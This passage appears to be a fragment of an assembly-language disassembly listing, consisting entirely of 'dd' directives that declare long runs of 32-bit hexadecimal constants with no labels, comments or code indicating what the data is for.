		dd 1090C1AEh, 2CD9AA01h, 8CB9EC84h, 233E3700h, 4B06B884h
		dd 0B7780395h, 0B1ADA859h, 0D130C821h, 0E02618BFh, 0EE8B0198h
		dd 0F57677F3h, 0A62180B5h, 0E20B3553h, 0AE16009Dh, 0B6B17075h
		dd 76FC81F1h, 0E88D2635h, 0ACDF2C41h, 8C28E35Fh, 0EC137A3Ah
		dd 671030F8h, 1C23A968h, 0C0443E88h, 0F6689F00h, 773A0C39h
		dd 0EF0303D9h, 0AEF57D4Ah, 8503917Ah, 0C6F648BBh, 0B0B4F0D0h
		dd 1249141Ch, 5A00ACEFh, 0E2F1D4Eh, 0F450D1B2h,	2B00F264h
		dd 0DFC8E48h, 1CB0632Dh, 1C27AD83h, 349B5242h, 8894CBC4h
		dd 7369C399h, 978DA80h,	21C445FFh, 728D6CCCh, 29050078h
		dd 0B311DE1Bh, 0BF353969h, 22FD000h, 203071EAh,	0A05FE228h
		dd 0C4BC9648h, 9C82B205h, 5E85A8Eh, 0AD38548Bh,	92B4C863h
		dd 0E9B74930h, 93D1A2ECh, 2808A1D8h, 18114CC0h,	0F38AB23h
		dd 5054EC14h, 14F88AE0h, 0B1EA58F8h, 3DD4DD00h,	0AE997BE5h
		dd 3CD0595Dh, 0E8B3C59h, 0B891E097h, 5DCE0D80h,	64B2B150h
		dd 3BA1C960h, 171AB32Dh, 1617D074h, 23002F68h, 60C400A2h
		dd 79A48994h, 0E3226907h, 0BC233066h, 0E27000A5h, 84B1E406h
		dd 0BA4B7618h, 3C993830h, 7968917Bh, 2A118AEh, 0A5524BDFh
		dd 9F400EACh, 65004CE7h, 56C8D6Bh, 4D790Dh, 6D47B580h
		dd 0CF831326h, 8591B8CFh, 0FC09D823h, 0C464C50Eh, 0F43660BDh
		dd 574022Ah, 53900877h,	8D2450C4h, 0EC8028E0h, 13221FBCh
		dd 59F216h, 4A93B77Ah, 2A446347h, 0AD904E14h, 0E9985890h
		dd 3B4430E6h, 3E5B6B13h, 0ABC8688Bh, 88E24C0h, 0DBEB1D2Eh
		dd 75CA8BFh, 6CB073D6h,	5F15F087h, 48FCD57Ah, 7934C106h
		dd 729DE8Eh, 4C06AA2Ch,	1099117h, 169BC4EFh, 1404CA2Eh
		dd 2D136659h, 0BCAF54A9h, 0F708FFF8h, 1CD4F9B1h, 225E80h
		dd 0FFFADB5h, 0FC000AFEh, 0D6DED3A1h, 0B26CE9AAh, 0A5D12094h
		dd 2889F700h
		dd 99E1632Eh, 0CC67EABh, 0B783F450h, 8E4C9F30h,	0BF668014h
		dd 79B2E19h, 3A8B6149h,	0DA35E08Ch, 0CA4D6DA8h,	0AB119330h
		dd 0F29E00E8h, 2E0454A1h, 33993A47h, 53644580h,	0AAF51305h
		dd 12729C0h, 757D3DBDh,	88340206h, 481DCA03h, 0AD522460h
		dd 5B91AB88h, 6C244783h, 0D0377B35h, 0A2EB3900h, 19470D7h
		dd 562AB93Dh, 844169h, 80F2EA49h, 8F05219Bh, 3A5651CCh
		dd 2EDBFCC3h, 110CC150h, 0AEE875Ah, 0CEED480Fh,	0D69B00F1h
		dd 6B75E80Ah, 0BE6000ECh, 0E59AFC3Dh, 8A49193Ch, 108D24ECh
		dd 0C98EB40h, 21EA01FCh, 601EC96Bh, 119FE8E5h, 5C1DD090h
		dd 0B2CE52F3h, 93978EE7h, 141BFC92h, 72FAF1EFh,	4DD41E9Ch
		dd 0C1943349h, 0F5109604h, 0F300F66Ah, 0AC9E4B72h, 16FCAA1h
		dd 29202FDAh, 3112E4BDh, 4D821D4h, 23802FBCh, 0E1BE00EAh
		dd 87D58CF2h, 32550C0Eh, 0A4EBA53Ah, 790040B2h,	31E6337Fh
		dd 5E4B0DBh, 0C202140Bh, 0AD1A0051h, 9EA35092h,	0E46680F0h
		dd 0BED888CCh, 3BDC289Ch, 4080B0B1h, 3F6E1523h,	9E3CDD54h
		dd 0BFC5935Eh, 0E62A6480h, 303D8198h, 2C8CF318h, 13F8686Eh
		dd 95186240h, 6866D920h, 4C8A0505h, 0D039B519h,	24DE9044h
		dd 0A184E120h, 0E0185828h, 5AFA0A04h, 0E932A87Dh, 0AC89520h
		dd 0D4230E6Eh, 0E140173Bh, 30963A52h, 0B90C5490h, 0C0BC9508h
		dd 0A19D1D6Ch, 40A4A4E1h, 2604BB18h, 0CA7E43Bh,	59D88DC7h
		dd 0E1BA02C1h, 7E420B21h, 6CECF4C0h, 0B0D244BAh, 9FF900D1h
		dd 1F59E180h, 0D5654878h, 950EDE0Bh, 0A2B604A4h, 0DF3D08D0h
		dd 22E74F29h, 2D1048B0h, 0D420286Eh, 9FE400E0h,	1F1E7F05h
		dd 0E7038E5Eh, 1CB1ECF2h, 906F8DC8h, 305ED700h,	0FC72B40Dh
		dd 1D9F6CB4h, 8170900h,	4ABA9147h, 0B0F82051h, 0AC243DA8h
		dd 1D409892h, 13114E21h, 0C405D664h, 0B0F4B65Ch, 67F9FE2h
		dd 8E2DCB86h, 0F400A9E5h, 0DA156275h, 0BE61B8h,	6FBA1A6h
		dd 9AF12314h, 0C81A2009h, 0CD3CA1E0h, 404BBC09h, 6DC09888h
		dd 2865CE84h, 77B8CA30h, 672A18EFh, 405BF8B1h, 10005E5Fh
		dd 36E311CFh, 462A090Ch, 8C800FF5h, 3EF3E982h, 0B84250B2h
		dd 0F5DE0A06h, 0C92EA05Ch, 3C9B8A0h, 18B84A0h, 7C532A30h
		dd 86527862h, 85654B69h, 0A47402h, 50D766DDh, 0B79A39BFh
		dd 0F7C33E00h, 0EE15340Dh, 7B540063h, 336EC465h, 1B0051D7h
		dd 1D032F11h, 58D953E6h, 7F03F9E7h, 0DA18E454h,	0A0EA78C3h
		dd 9A986CE0h, 6BC9D500h, 6D7AFE86h, 9F5600C4h, 1D882612h
		dd 1C002294h, 9151660Ah, 523069h, 847582EBh, 1F286192h
		dd 22CE871Ch, 58509553h, 0E1C040A0h, 0F2C87D52h, 0C79530A6h
		dd 9269013Bh, 884FA4F4h, 0E6D9E03Dh, 55D0256Eh,	804E3852h
		dd 0EEC0EF88h, 908A43BDh, 0FB884468h, 218098B6h, 2E31BAEBh
		dd 3E481D02h, 73A1406Bh, 8936ED6h, 982DDF2Fh, 80CA35D8h
		dd 5A0D851Ch, 10C0BD40h, 690A21ECh, 0C18A8ADh, 0B002BC7h
		dd 727ECD6Dh, 29E7609h,	0B327AF34h, 856FA93h, 0D3F1380h
		dd 0F3E8154h, 18631BC6h, 8E2915C4h, 0C3A38874h,	459060EDh
		dd 2E507B31h, 0D0126F8Ch, 8C5FC5Dh, 0A8B0800h, 5AAC6D54h
		dd 88704156h, 0DBFA4A69h, 31BD1100h, 15112F2Bh,	44910A6Ah
		dd 11C4A7ECh, 0AE9819Fh, 0C0445AFDh, 0D000448Bh, 8E8B0AD1h
		dd 34941E61h, 0B8904813h, 78205AFCh, 69A4A079h,	14E9735Fh
		dd 3483336Ch, 8CF3ACh, 0D945EE66h, 69DE39E5h, 0CC500500h
		dd 927FA5CEh, 0B2700906h, 0C5372B0h, 1F2E4A58h,	67B994A9h
		dd 0F020B016h, 0F8830CCFh, 2CE0E986h, 0D01CE029h, 5929DE09h
		dd 0A3B04038h, 9DE4BF25h, 8B1D7276h, 6F41E7A2h,	0D1A5F021h
		dd 7DDD3891h, 0B9D60535h, 62347890h, 806158FDh,	3F102858h
		dd 1E9522E8h, 8323C2AFh, 0A330C094h, 0F1BD2BB8h, 0C7DE5700h
		dd 0F81C6B2Ah, 0D5FC37B2h, 0E3EDA059h, 4104E567h, 3D58A2A6h
		dd 59CD70D1h, 9F812078h, 389B5AACh, 0B008A68Ch,	7CE09694h
		dd 0A403A046h, 27427C61h, 0A3B9FEC8h, 5DAEB004h, 0E0C0D754h
		dd 15E71E1h, 9005AB3Ah,	0D7C909F2h, 1BE478C8h, 6F07B098h
		dd 33FB9203h, 0A95CFA37h, 8781033Dh, 8E42B7BFh,	0F43C86A0h
		dd 334CD30Bh, 0DF700206h, 0BFC4425h, 0BCE1B711h, 0D0D298C4h
		dd 0A688D4CBh, 6664E2CFh, 4059E5h, 63ED92EBh, 0FF00B39Eh
		dd 328D3BF3h, 9229F40Ah, 11B90674h, 80C6D54Fh, 0BE220916h
		dd 3C83C0C5h, 0FAC42449h, 63CF4008h, 3C2E1356h,	4496884h
		dd 3640DC78h, 4AD6B81Bh, 469A3Ah, 0EF053134h, 1CD3CFE2h
		dd 0E59E3AB2h, 65CD3018h, 0B81F484Bh, 40C4C14h,	0B11C45D5h
		dd 9CD44301h, 2549E108h, 0BC3439ECh, 180B8BEh, 0DC32164Ch
		dd 74B8C540h, 3C99EFE0h, 0C618E8D1h, 4C123C73h,	0F491FA07h
		dd 0C1CC6EC5h, 7FEA007Ch, 8E061AE8h, 0EC1E7423h, 0F8C13B42h
		dd 0F4872B10h, 7E07D02Dh, 601D115Eh, 2F36E95Ah,	0BD5C30Fh
		dd 0C9780287h, 661048BAh, 7954B183h, 940019EDh,	2117C31h
		dd 5148DC6Ah, 80D88A05h, 875D046h, 952E6446h, 0A0DC70h
		dd 14AAD546h, 0B126559Fh, 960E9203h, 0BDF5A85Ch, 0E04AA840h
		dd 0D1A59A05h, 523C7438h, 0AF49C180h, 0C5F8C96Ch, 81282D3Bh
		dd 0F91CB144h, 0F040F78Eh, 4C5C4FABh, 47E1846Dh, 511B00CCh
		dd 0ECB440E6h, 17807899h, 0D3C2D278h, 42FA07B0h, 43E46AFCh
		dd 8892471Bh, 59097850h, 0C6C9C520h, 5E54BEACh,	47009946h
		dd 130973C4h, 584EAC6Ch, 36B7A041h, 9C31A106h, 0C868B1F5h
		dd 0E48CCCD6h, 0E02F35FEh, 0C7B46904h, 92C49838h, 3AB4BD52h
		dd 17532F94h, 8FA391FCh, 1B674DEh, 2E2448EBh, 0B822F527h
		dd 0EFFD9C00h, 8D3D97FCh, 884368BEh, 0A440A024h, 0CA0100AFh
		dd 7B7FD686h, 8F0E1B0Ch, 61E7B27Eh, 80778E4Ch, 9D09D870h
		dd 0F81FAC01h, 0BC6068D6h, 1008CBFh, 42E20C79h,	13F726A1h
		dd 2263AC5Fh, 24C4FBB0h, 991C2C70h, 6841CE76h, 0A13C3B6Fh
		dd 0B049B444h, 0BB846B51h, 825EC2C1h, 0CAA9FE08h, 27084024h
		dd 8E631673h, 0C194DE6Ch, 1BADA38Ch, 0C3C0A2DDh, 1E0094Eh
		dd 18D13610h, 0A771DCA1h, 8AE69318h, 6F6B8607h,	4C604FACh
		dd 953C97Eh, 1EB21167h,	1873E062h, 2E258h, 145C6D2Bh, 0EA2254F9h
		dd 42003158h, 30EFE228h, 7E7ECABEh, 186E2E09h, 0E5E08199h
		dd 3422C254h, 0DC607A26h, 14777F00h, 322E27F7h,	0B09AF684h
		dd 0FCAA4418h, 1F047F07h, 0ED4046F1h, 2C84B32Ch, 8D806DCh
		dd 0AC2661ECh, 19B4674h, 4E2E6C0Bh, 0D082B634h,	120554E4h
		dd 957974F9h, 513CDC19h, 80022A5Ah, 48D3FAA0h, 5CDEE068h
		dd 0E7840C27h, 541C8806h, 81955A7Eh, 528DB1D0h,	0AC29F9E9h
		dd 8A4CEF00h, 0A4F7472Ah, 660709ECh, 106E2D1h, 168D4B6h
		dd 52A9849Ch, 93AF4622h, 54011648h, 0A620562Fh,	9FACD8A4h
		dd 0B3694917h, 46F01CD8h, 845E30F2h, 3D3FF404h,	785DEC00h
		dd 0ACA04B1Ah, 662F9C9Fh, 618007Ch, 15B1A908h, 0D0A2F4E1h
		dd 0FED0A300h, 19E017CCh, 0C4D9D169h, 0DA513D98h, 70D2C581h
		dd 6806F572h, 8CE6BC80h, 0BF6B5901h, 845651D5h,	0A85DE88Ah
		dd 3AB40354h, 190C9716h, 0E8D86540h, 0BE3218BCh, 0CF9018ABh
		dd 0E454D8E3h, 214CA29Dh, 4B50783Ah, 231C2F48h,	9B003BEAh
		dd 1D47E4B8h, 6E62F4AEh, 0F30FCEF8h, 0ED7658F0h, 0F45EE409h
		dd 8C4BBh, 0DABA66EAh, 6E1D0B0Ch, 16750773h, 65B2AD05h
		dd 0E0A6BD06h
		dd 8E988AE0h, 71314000h, 56D2F639h, 525C1C05h, 0FC02C476h
		dd 805CBC6Ch, 299710B9h, 7D27007Ah, 0B7DF7CE0h,	0D2079566h
		dd 0CF56C507h, 48FCA444h, 23402E96h, 97D300B9h,	8B553C72h
		dd 4EAEEE00h, 0E5061FC1h, 0B84C82AFh, 0A4C4F8A5h, 0FFB9C560h
		dd 2608BE02h, 5206E005h, 3A540980h, 908033DAh, 9B84A057h
		dd 0C3E49001h, 9EFA5E2Ah, 0B1E18020h, 1CF980A0h, 460FF854h
		dd 1A1E6B76h, 4380754Ah, 50105153h, 0E0030245h,	0B3845E2Eh
		dd 86CE3068h, 66463490h, 0FC0AE201h, 0CA80D5Ah,	0EA9F88E5h
		dd 52330A00h, 0DCC1601Eh, 0A5F728C8h, 0F0920944h, 840163F2h
		dd 87492852h, 26785939h, 2650187Ch, 0BE242B22h,	41040618h
		dd 46FCD860h, 0E87890BBh, 5A19096Ch, 3460C920h,	321822B4h
		dd 7868EB94h, 18BD69E5h, 6900ACD1h, 0C091DD98h,	1B9F071Eh
		dd 204C6C6Eh, 0A4A865CEh, 613CA295h, 0AB34E01Ah, 44349E55h
		dd 8004A85Fh, 0BEBABDB6h, 6434008Dh, 2C29015Ch,	0D10858A3h
		dd 89EF22DEh, 78C6D3A0h, 90F508C9h, 3F79D760h, 0AA890216h
		dd 9C455FE9h, 0C267B8E4h, 7CDA91ABh, 0AAF91B08h, 562D0412h
		dd 0E584B03Ch, 98D2CE2Ch, 4084CDCBh, 0B02AF551h, 0FE6C5802h
		dd 5B355F1Dh, 2668A6B0h, 0E0CB5AD0h, 0B00D2382h, 0DA06C3Ch
		dd 2603F475h, 0B3AD06Ch, 76F8B139h, 2CAE50D4h, 0AF905572h
		dd 0AD11FC97h, 8A251780h, 1B094048h, 467B332Ah,	22060048h
		dd 42701256h, 2300E692h, 3981A51Ch, 14F54BDh, 0C8806B7Fh
		dd 6B305662h, 6FD2F401h, 9050E38Eh, 2C194453h, 0D5C477h
		dd 76077CB8h, 6217455Bh, 54F48D6Ch, 147504BAh, 0B2D3A19Bh
		dd 50630060h, 61E464BCh, 59FB1C42h, 2225F958h, 0F8B10449h
		dd 4896D6DEh, 7D5C5640h, 0ACCD00A6h, 0D5D093F7h, 97647F09h
		dd 0D0B9CB7Ah, 0ACF4D10Ch, 0FB719A69h, 3E964100h, 5963B5FDh
		dd 53290E7Dh, 49723910h, 45AF4B4h, 30B09100h, 0D73D6ED4h
		dd 849800A0h, 829381CEh, 68B0CC1Eh, 31919944h, 0FC39A74Ah
		dd 95872B2h, 79AF5792h,	6CE10828h, 48A00836h, 0DF2298E9h
		dd 6978B912h, 52CEE841h, 0A46CA4D2h, 54B8DC4Dh,	0CD3DF702h
		dd 6328AE59h, 0B920A8B0h, 460D2A3h, 0B1384Ch, 6A511EB0h
		dd 0E83095B6h, 0AA00E92Ah, 0A96614CAh, 704775D4h, 0A8494C7Dh
		dd 0A4824977h, 600ED3B8h, 0A0A4DC64h, 0DD5FF2BBh, 0AF492292h
		dd 818C890h, 55A8CCC5h,	49B27A68h, 6F0794F8h, 83821330h
		dd 0B008C01Ah, 91FA05h,	0C9DD0410h, 0D9005884h,	0B530BF50h
		dd 1B79654Ah, 9863A99Eh, 0CFB8C2A4h, 0FE266020h, 84152D52h
		dd 333A60E1h, 0ACC41620h, 18626CF7h, 0DE19A11Ch, 0CD2E5008h
		dd 5B3EFC88h, 0C09CD492h, 0B0579AA4h, 23C8208h,	0CF5BACC0h
		dd 78152D0Ch, 1B80A091h, 0BFA7AFEBh, 0C7109295h, 60B84488h
		dd 189595Ah, 11B77BD7h,	43B9C107h, 72E2D4C8h, 740220DEh
		dd 0E69CC912h, 98159D3Ch, 5980B291h, 8041642h, 0E20CA102h
		dd 1128F4h, 61D3A2F7h, 0DCA05CF2h, 40176B9h, 92AAEA83h
		dd 29BE0D48h, 0C64F9Fh,	4D7928A8h, 381EA0E0h, 3C6422DFh
		dd 47EE6387h, 0A3A5AC70h, 7847430h, 0ADB518CAh,	0A18C8159h
		dd 86EDE052h, 0F0C1431Dh, 8D083B18h, 106E064Ah,	30F952C2h
		dd 0DB00B4E8h, 5BC5ABD5h, 0F02EC85Ah, 110C0705h, 47CACBD9h
		dd 9095E0F9h, 10C1CD0Bh, 861CE031h, 3C84ACCh, 498563ABh
		dd 900794A8h, 64EBB7FCh, 0C19B1B02h, 0DDEB508Ch, 6F52AC42h
		dd 3D472F9h, 0DCBD552Dh, 66B0994Fh, 5A03B846h, 26E4E728h
		dd 0CA90A131h, 171E2C4h, 4D0E295Dh, 81E64164h, 21699140h
		dd 74F08F46h, 0F8BC6Dh,	6BF79202h, 4F4CAA23h, 0E7831BEEh
		dd 7A019AE8h, 26B801A0h, 67BC803h, 934CF4D2h, 4D039177h
		dd 0D5A6AE8Fh, 0E54AD8DCh, 840B0126h, 92A2457Ah, 80902B53h
		dd 1E134C02h, 4906F704h, 7C908DD7h, 3139CD55h, 4B44868Bh
		dd 880D58Ch, 0CCFC917Ch, 1E3F94A4h, 902FCE82h, 18BB3C4h
		dd 0DC0A4CA8h, 0F707082Eh, 6F0C11B0h, 656AF100h, 4A56F7D8h
		dd 6D060A72h, 18CC756Eh, 63771048h, 6F59028Ch, 49F59BDBh
		dd 0D96E5C00h, 405560ECh, 52282BB0h, 511804ACh,	4D102997h
		dd 5807182Ah, 0FF0B2124h, 0B3049600h, 0A2AC71F6h, 1F08CC6Eh
		dd 65006421h, 804B4D96h, 6ACCF955h, 6F5915h, 0E6AF5A6Bh
		dd 0A9332F8Ch, 0B4081Eh, 6B046921h, 0A4B9F2C3h,	8D062000h
		dd 1A8A3B31h, 3021F627h, 0C9A1A9DCh, 0B70AABE8h, 5C29CF74h
		dd 5B063C1Dh, 3115402h,	0F2E50872h, 2CA8F5DCh, 0F74ECD5h
		dd 12214C67h, 16EDE500h, 48D20130h, 0FC3A925h, 6ECA1019h
		dd 26C00CBh, 35B9D9E1h,	3B050E24h, 0ECACC938h, 4A23382Eh
		dd 0EA372400h, 761BC61Dh, 309CA834h, 29506FA1h,	4FC8358Ah
		dd 1955A586h, 78C0AD07h, 54C53D72h, 0E5033C20h,	0DDC29FDh
		dd 0FB174074h, 0A40038E5h, 0EF4AC4AFh, 28D7B6BAh, 46F0B97Ah
		dd 96FE0704h, 7048B303h, 960A5865h, 4CAD30DCh, 89E24C33h
		dd 66E0D21Ah, 0C1AC60BDh, 0CD55D90h, 4E5F3103h,	306F295Eh
		dd 0EA21C208h, 0B200D555h, 0AC04C01Fh, 600FB5E2h, 0B835943h
		dd 0FA0045C2h, 97CB4457h, 2F8B75h, 0DE7BEE10h, 0EDC836A5h
		dd 0B6B8B300h, 0EC69311Fh, 51321822h, 0B67B114h, 0F518192Ch
		dd 0A85FF000h, 0D84449h, 24DD0237h, 0CA78FCC7h,	131DA402h
		dd 4986A6BFh, 60268E28h, 0E04BB9E0h, 894AEF00h,	1D2A1AA8h
		dd 7C2E35A6h, 23A83AA9h, 0E48D031Dh, 0DD80A983h, 0BF003331h
		dd 2130E280h, 358668h, 0BC9754D0h, 40235C20h, 9AB0E00h
		dd 0F9FA8F93h, 9F511834h, 95BA5017h, 0E0BEAF28h, 32FB44h
		dd 0A39749D0h, 0C67B1AAh, 27D3C918h, 28CAD9h, 6AD679C0h
		dd 356DED05h, 62A7A200h, 25BA332Fh, 0E851E7BDh,	0B2F01232h
		dd 5CCA007Fh, 0D44F0F69h, 6D008266h, 5DFDECDBh,	542E98F7h
		dd 38BA88E4h, 0C394338Ah, 6B30DC12h, 440F4BA9h,	0F2E4A1C0h
		dd 94CEC27h, 71DA85Bh, 227FC000h, 4400F753h, 4B19FC87h
		dd 0C4538h, 93658440h, 0EC80507Fh, 3931DC01h, 3FB6C501h
		dd 58372081h, 80BE6974h, 82D0F911h, 0F7CFB847h,	1B636F4h
		dd 0AA4A249Bh, 80836662h, 0E6980229h, 0DFF8A6h,	5328EB48h
		dd 0BD3EFED6h, 26044500h, 0D441E647h, 880D60E7h, 48F82C3Fh
		dd 850C9076h, 9933B67h,	0CC21C018h, 7B3648F1h, 0F95C5219h
		dd 0F0D061C1h, 113B6023h, 0CD1CD41Fh, 0A5C8C016h, 53095D19h
		dd 0DC7F2180h, 59327B1Ch, 635ABF00h, 0F36D3C6Fh, 0C54778Dh
		dd 8B868F4Eh, 0AB3EE0C8h, 0A5E180F0h, 45F443B8h, 0FE5300C3h
		dd 0CB7CCAAh, 902E742h,	658F8BE6h, 0A06F0F5Ch, 0C6D4FAE0h
		dd 8331BC0h, 0B409C1h, 0FADB8021h, 9D5C5D22h, 2E080A8h
		dd 6316E9C0h, 3D30C0h, 80B7E1A0h, 25D77C69h, 0F209DF03h
		dd 0BE074B29h, 87F40339h, 6903521Ah, 0D93FA2C0h, 0C4A88AEAh
		dd 4E009E64h, 287C02F8h, 0CC7B0B44h, 0C5219508h, 0F54E9602h
		dd 98814314h, 6061E0h, 80B391D5h, 8A0EFB28h, 0F1E3ED01h
		dd 548E69Ch, 58842981h,	80221A8Bh, 7CC2A481h, 0C0390A48h
		dd 0FEF35F21h, 447CC3A5h, 194B0431h, 0F1BC01E0h, 20999C00h
		dd 3DB6715h, 8CA32700h,	0D0928381h, 290A6AE0h, 0E8023B51h
		dd 3A60C38Bh, 18DB2041h, 91483BF9h, 1A118D23h, 488ED300h
		dd 23919910h, 0EFC044A0h, 38BCCF3h, 4AEBE900h, 0E0AF5EC7h
		dd 1BDF0E09h, 8364AD7Ah
		dd 548C83FFh, 4EA4D906h, 0C14287h, 36DA0AE2h, 5BC2A69Fh
		dd 1B9FE58h, 2F7571D3h,	0E9C0E3ECh, 0BF68008Ch,	0F7CAF358h
		dd 603B5EA1h, 0C2858586h, 0E0220AD9h, 4E9C30DFh, 6C02FA11h
		dd 0C7809688h, 8EA64E94h, 0F19E06EDh, 0F10BE0D9h, 7DE21F13h
		dd 0D0018B8h, 7B48E834h, 21C306E0h, 0F97FF0CDh,	56F019B3h
		dd 0D1860A17h, 11D4DD97h, 0DF8F0041h, 34EAAE1h,	2991E8E0h
		dd 7154CFD5h, 411892h, 0AFABC0A2h, 4B6BA36Eh, 0E2700C80h
		dd 0D4050045h, 0B3582182h, 9F0E597Eh, 414E13EFh, 0ECFD678Ch
		dd 0C0439820h, 0AFEE2599h, 20E2D3A3h, 83891801h, 0E791AB4Ah
		dd 1FF20C22h, 125DC630h, 8244ADCh, 0F6C1DA2Ch, 0F5D99248h
		dd 0CE881718h, 0C548008Fh, 7A94B10Ch, 0D91D785Ch, 0A74003A9h
		dd 0BE5DFEC0h, 310462C3h, 9C90CB01h, 530058A4h,	0EA5F950Bh
		dd 2A71D717h, 3B8C486Bh, 0CF09FD4Fh, 1E00CD3Ch,	0D705F398h
		dd 64303D1Dh, 6A02E382h, 8A40610Eh, 0FA08D118h,	0C4C8C6D5h
		dd 0D99F41B7h, 446156FAh, 0FCAF9E3h, 51DE01C0h,	244C4C97h
		dd 3BF28Bh, 779FE766h, 0AE396C7h, 723FADEEh, 800832A4h
		dd 0FAD33088h, 0F8C6DB11h, 8180B588h, 5E5AFADAh, 91E11A33h
		dd 0BC041841h, 48FB60D5h, 52DDFC9Fh, 0C9C0DC60h, 0D97048F0h
		dd 0B5ABE100h, 0F7A45293h, 25605F3h, 9E0CDDC5h,	6BD3C434h
		dd 2B1F088h, 0BEFD78F4h, 40484623h, 271FDDDFh, 0E8E49B5Bh
		dd 95C287E0h, 0A34684BBh, 0F64E9001h, 0D298C02h, 88CB20EEh
		dd 2E06354Eh, 94667408h, 7E170519h, 0C0E93A72h,	1B79DA6Ch
		dd 0AFEC5700h, 0D86E344Ah, 7C8F2CC0h, 3F4B8648h, 4E18A956h
		dd 69C9B189h, 5151C282h, 0FCC0FEB4h, 3509BCDEh,	80AEC438h
		dd 7385655Ch, 0E1B078A7h, 2C08E831h, 0F0394438h, 8B2B4D7Ah
		dd 0CD01FC96h, 0A8C6D1FAh, 8388BD18h, 82FA01D4h, 710F4993h
		dd 7B64F0B6h, 0CDBCE208h, 98019D09h, 582CA98Bh,	6B18EA0Eh
		dd 4ADE8111h, 0F8440523h, 5088FCCEh, 0D70079C7h, 130E311Bh
		dd 50DA1A8Dh, 8F1A94BCh, 688479F4h, 0FACE6095h,	0B0C623D2h
		dd 8200B311h, 53FBFAD5h, 0EC0CAECBh, 793A0B48h,	0B8787DBFh
		dd 55420420h, 0CC495810h, 38266DF8h, 4676FC13h,	99190E93h
		dd 0C15A608Ch, 0D6B96BF3h, 49100C91h, 50EDE081h, 0D1801CACh
		dd 62A00E01h, 81CDBF0Fh, 0AB2C840h, 8459C065h, 75D54C42h
		dd 4DFCCC07h, 0A3EBBD01h, 49BBD8h, 19B02261h, 0C332D2CBh
		dd 191C406h, 2969DDh, 7E77F835h, 6359C71Fh, 89455E07h
		dd 3518501h, 65136DC5h,	4438B7E7h, 0B349C02h, 8C58300Eh
		dd 8505FD51h, 0D8885D01h, 5CD70036h, 0D6747CF6h, 2207D1CBh
		dd 3A02E1FFh, 4C1E3920h, 4ECC0067h, 0F80474B9h,	0ECA0F784h
		dd 0FA001770h, 0A893240h, 4DB0F9h, 14ECB64Ah, 97E3071Fh
		dd 3C2AB16h, 0B502E803h, 2E05A0F2h, 667326E6h, 899410DCh
		dd 265811E0h, 0FFD030h,	0C2B3D4A8h, 0ED0AFE51h,	0BA304400h
		dd 45B878Ah, 0FCD09F5h,	640021EBh, 0F38EB034h, 0D94C2230h
		dd 0A0536E8Bh, 31336A4h, 69BE6C17h, 8EB8CEAEh, 29C04822h
		dd 8248D38h, 8CC60006h,	78E8CD37h, 0CE030F15h, 8E978156h
		dd 8659A766h, 72B16A82h, 8241C023h, 4DEACF45h, 7AE56106h
		dd 14C92DE0h, 0CABBA4F7h, 43970E00h, 5CC083F0h,	648DDA16h
		dd 0DBE16A00h, 130290h,	66D15947h, 5871FEA0h, 9539F200h
		dd 458F87D9h, 0E0973E7Bh, 0D5047A29h, 1FF80D0h,	61ED3CC9h
		dd 9D048F77h, 0CB818319h, 0A788C643h, 0E387F0h,	0DE29BF10h
		dd 0FF840793h, 38330930h, 0F7F6386h, 0D3E1F30Ah, 0E8553883h
		dd 0E9C0A3E2h, 2A380124h, 803F0064h, 4C81FBDAh,	1917EA0Dh
		dd 9165E4F3h, 361FDCB2h, 89FB8400h, 228DC749h, 0D48F1AD5h
		dd 67F5047h, 317E2Ch, 0BBF9A3A4h, 9CC110E7h, 590B93E4h
		dd 8C18E43Ch, 726FA8DDh, 8C8F18F7h, 3F20C00Eh, 0EF1EC07Ch
		dd 18F10398h, 8850D3C3h, 508AB342h, 2A3E6C8Fh, 74F2E3h
		dd 5D32FA93h, 2E50D31Ah, 0EAE1EC00h, 710EDD69h,	59BD0339h
		dd 82223AFFh, 0D41698C9h, 8B00FD08h, 75C658E0h,	7ACD9325h
		dd 54400A07h, 0BAC4EE1Eh, 1D9D43BBh, 9326C314h,	0D818ED37h
		dd 6FB003FBh, 634F2887h, 75773164h, 34738FE0h, 0BA76222Ch
		dd 0D606BD00h, 0E22A1EB1h, 0D0A30034h, 709E8D7Ch, 0FE003009h
		dd 845FC712h, 30F05728h, 462C394Bh, 6A091C37h, 8F55E085h
		dd 18309EC0h, 15F9DD77h, 202F7F3Dh, 10E67DE1h, 5C1AEC41h
		dd 0DA0056F7h, 0A62D80F6h, 0D20F059Dh, 8047F303h, 2F8D812Ah
		dd 30340117h, 0BA4F5F7Bh, 2039A320h, 670F81B0h,	14108258h
		dd 1077548h, 6E3D9135h,	152625C0h, 0E6030036h, 0D14602DAh
		dd 0FF007152h, 3FF205EDh, 0ABF6C9B7h, 37081834h, 0E3E9C086h
		dd 0B4803A56h, 83BA03Eh, 71E2B980h, 27FB8361h, 0FFB69C09h
		dd 86E83D7Bh, 1007481Eh, 140E0812h, 0BDE45000h,	12D564B3h
		dd 3D8442h, 0AE1F1E64h,	91B4436h, 0B22916B7h, 7B8522ADh
		dd 0AB214324h, 10551217h, 0F7887A6Eh, 19C488B3h, 9227E48Bh
		dd 5B02EE80h, 0DB1621AFh, 0B1CD01F3h, 11868E11h, 0DE11A88Fh
		dd 0B21911D4h, 0DF0E4D00h, 7D29E80Fh, 0A7064033h, 0E69252h
		dd 0C90FBFB8h, 0E5685862h, 7C947001h, 5CAD75CFh, 0F8DB0AC9h
		dd 0FEE348Fh, 2911502Bh, 0D96094CEh, 5C6E6DA8h,	0C401AF75h
		dd 0C952407h, 49CCB850h, 0B842E8DEh, 0F498E0h, 0DB551BB6h
		dd 763B9492h, 14F2BE00h, 0E72166C8h, 0FD7B29h, 68285C8Bh
		dd 0E977F61Bh, 876DB307h, 0F3E08521h, 1C1434h, 352D9ED2h
		dd 1E063364h, 0EEA0D005h, 65C0C995h, 0B15911h, 0B566801Ah
		dd 62702C8Fh, 0D05B1901h, 0A872FB8Eh, 66AE80EAh, 0FA8F0276h
		dd 6DAE0025h, 0F2CA451Bh, 0BA0EA4E3h, 8023F4F6h, 61C2899Fh
		dd 0BD26000Bh, 0F5AD76A6h, 9E003C2Ah, 0D65A10B1h, 38FEE5Eh
		dd 0C06AE2EDh, 0B807FCBDh, 9C720552h, 0CDCC93h,	0E5C1F46h
		dd 0A22C14FEh, 0B8915D00h, 0F25EBB36h, 97F40178h, 7D0A2963h
		dd 12CD20C8h, 796393Ch,	6288C58Ch, 54800FB4h, 1B383A0h
		dd 1FFD4F6Ch, 70596D2Fh, 0A8EED7E5h, 7DA6F400h,	19AEB066h
